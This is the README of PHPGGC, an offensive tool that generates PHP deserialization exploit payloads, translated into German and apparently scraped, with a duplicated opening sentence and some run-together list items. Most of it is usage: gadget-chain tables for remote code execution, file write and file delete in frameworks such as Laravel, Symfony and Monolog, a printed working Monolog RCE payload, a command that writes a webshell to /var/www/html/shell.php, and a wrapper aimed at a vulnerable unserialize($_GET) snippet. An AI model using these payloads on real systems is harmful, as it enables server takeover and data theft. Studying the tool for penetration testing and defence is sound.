
PHPGGC ist eine Bibliothek von PHP-unserialize()-Payloads zusammen mit einem Werkzeug zu deren Erzeugung, entweder über die Befehlszeile oder programmatisch.
PHPGGC ist eine Bibliothek von unserialize()-Payloads sowie ein Werkzeug, um diese von der Kommandozeile oder programmatisch zu erzeugen.
Wenn Sie auf einer Website auf ein unserialize stoßen, deren Code Sie nicht haben, oder einfach ein Exploit bauen möchten, ermöglicht Ihnen dieses Tool, den Payload zu erzeugen, ohne die mühsamen Schritte des Findens und Kombinierens von Gadgets durchlaufen zu müssen. Es kann als das PHP-Pendant zu frohoffs ysoserial angesehen werden.
Zurzeit unterstützt das Tool unter anderem folgende Gadget-Chains: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii und ZendFramework.
PHP >= 5.6 ist erforderlich, um PHPGGC auszuführen.
Führen Sie ./phpggc -l aus, um eine Liste der Gadget-Chains zu erhalten:
$ ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
CodeIgniter4/FR1 4.0.0 <= 4.3.6 File read __toString *
CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE3 4.0.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
Dompdf/FD1 1.1.1 <= ? File delete __destruct *
...
Gadget-Chains filtern:
$ ./phpggc -l laravel
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
Jede Gadget-Chain hat:
unserialize auslöst (__destruct(), __toString(), offsetGet(), ...)Verwenden Sie -i, um detaillierte Informationen über eine Kette zu erhalten:
$ ./phpggc -i symfony/rce1
Name : Symfony/RCE1
Version : 3.3
Type : rce
Vector : __destruct
Informations :
Exec through proc_open()
./phpggc Symfony/RCE1 <command>
Für RCE-Gadgets kann der ausgeführte Befehl je nach Funktionsweise des Gadgets drei Formatierungsarten haben:
./phpggc Symfony/RCE1 id./phpggc Symfony/RCE2 'phpinfo();'./phpggc Symfony/RCE4 system idSobald Sie eine Kette ausgewählt haben, führen Sie ./phpggc <gadget-chain> [parameters] aus, um den Payload zu erhalten.
Um beispielsweise einen Payload für Monolog zu erhalten, würden Sie Folgendes tun:
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
Für das Schreiben einer Datei mit SwiftMailer würden Sie Folgendes tun:
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
Mit der Option --wrapper (-w) können Sie eine PHP-Datei definieren, die die folgenden Funktionen enthält:
process_parameters(array $parameters): Wird direkt vor generate() aufgerufen und ermöglicht es, Parameter zu ändernprocess_object(object $object): Wird direkt vor serialize() aufgerufen und ermöglicht es, das Objekt zu ändernprocess_serialized(string $serialized): Wird direkt nach serialize() aufgerufen und ermöglicht es, die serialisierte Zeichenkette zu ändernWenn der angreifbare Code zum Beispiel so aussieht:
<?php
$data = unserialize($_GET['data']);
print $data['message'];
Sie könnten eine __toString()-Kette verwenden und sie wie folgt verpacken:
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
return array(
'message' => $object
);
}
Und Sie würden phpggc wie folgt aufrufen:
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
Auf der BlackHat US 2018 veröffentlichte @s_n_t PHARGGC, einen Fork von PHPGGC, der anstelle eines serialisierten Payloads eine vollständige PHAR-Datei erstellt. Diese PHAR-Datei enthält serialisierte Daten und kann daher für verschiedene Ausnutzungstechniken verwendet werden (file_exists, fopen, usw.). Das Paper finden Sie hier.
PHAR-Archive gibt es in drei verschiedenen Formaten: PHAR, TAR und ZIP. Alle drei werden von PHPGGC unterstützt.
Polyglot-Dateien können mit --phar-jpeg (-pj) erzeugt werden. Weitere Optionen sind verfügbar (verwenden Sie -h).